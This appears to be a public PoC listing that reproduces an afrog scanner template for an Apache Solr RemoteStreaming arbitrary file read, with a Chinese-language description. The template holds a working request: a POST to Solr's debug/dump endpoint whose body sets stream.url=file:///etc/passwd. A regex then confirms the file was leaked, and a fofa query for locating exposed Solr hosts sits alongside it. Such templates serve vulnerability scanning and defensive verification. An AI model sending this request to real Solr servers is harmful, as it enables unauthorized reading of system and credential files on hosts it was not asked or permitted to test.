apache-solr-remotestreaming-anyfileread: Apache Solr RemoteStreaming 任意文件读取

2025-08-01 Apache Solr PoC Public

Description

ApacheSolr是一个功能强大的开源搜索服务器，它支持REST风格API。在ApacheSolr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成任意文件读取。

fofa: app="APACHE-Solr"

PoC

id: apache-solr-remotestreaming-anyfileread

info:
  name: Apache Solr RemoteStreaming 任意文件读取
  author: daffainfo
  severity: high
  verified: false
  description: |-
    ApacheSolr是一个功能强大的开源搜索服务器，它支持REST风格API。在ApacheSolr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成任意文件读取。
    fofa: app="APACHE-Solr"
  reference:
    - https://mp.weixin.qq.com/s/VMZfbUClU8I72pAzzitAOA
  tags: apache,solr,fileread
  created: 2023/12/29

rules:
  r0:
    request:
      method: POST
      path: /solr/demo/debug/dump?param=ContentStreams
      body: |
        stream.url=file:///etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/apache-solr-remotestreaming-anyfileread.yaml

References

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